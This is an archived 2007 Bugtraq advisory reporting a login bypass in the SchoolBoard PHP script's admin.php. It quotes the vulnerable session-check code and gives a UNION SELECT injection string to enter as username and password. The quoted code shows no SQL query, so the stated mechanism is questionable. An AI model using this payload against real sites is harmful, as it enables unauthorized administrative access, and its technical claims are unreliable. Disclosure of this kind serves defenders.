Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




bugtraq logo Bugtraq mailing list archives

SchoolBoard (admin.php) Remote Login Bypass SQL Injection Vulnerability
From: ilkerkandemir () mynet com
Date: 3 May 2007 13:13:55 -0000

# Remote Login Bypass SQL Injection Vulnerability (admin.php)

#

# AYYILDIZ.ORG Presents.

# SchoolBoard [ http://free-php-scripts.net/download.php?id=120 ]

# author : iLker Kandemir    < ilkerkandemir <at> mynet.com >

# Tnx : h0tturk,ekin0x,Dr.Max Virus,Gencnesil,Gencturk,Ajann

# Vulnerable; /admin.php

-------------------------------------------------//If login in
if($_POST['password'] != NULL){    <<<---------------------[+] //do all this:
      
 if($_POST['password'] == $ADMIN_PASS){
  $_SESSION['is_admin'] = $ADMIN_PASS;
 } else {
  $message = 'Invalid Access';
 }
}

//Check password
if($_SESSION['is_admin'] != $ADMIN_PASS){$_GET['page'] = 'login';}

if($_GET['page'] == NULL){$_GET['page'] = $_POST['page'];}

if($_GET['page'] != 'Add' && $_GET['page'] != 'login'){  <<<-------------------[+]  // but the user/pass don't match

-------------------------------------------------


username : 1/**/union/**/select/**/1,2,3,4/*
password : 1/**/union/**/select/**/1,2,3,4/*   (ADMIN_PASS)

Panel: /admin.php logged.


  By Date           By Thread  

Current thread:
  • SchoolBoard (admin.php) Remote Login Bypass SQL Injection Vulnerability ilkerkandemir (May 03)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]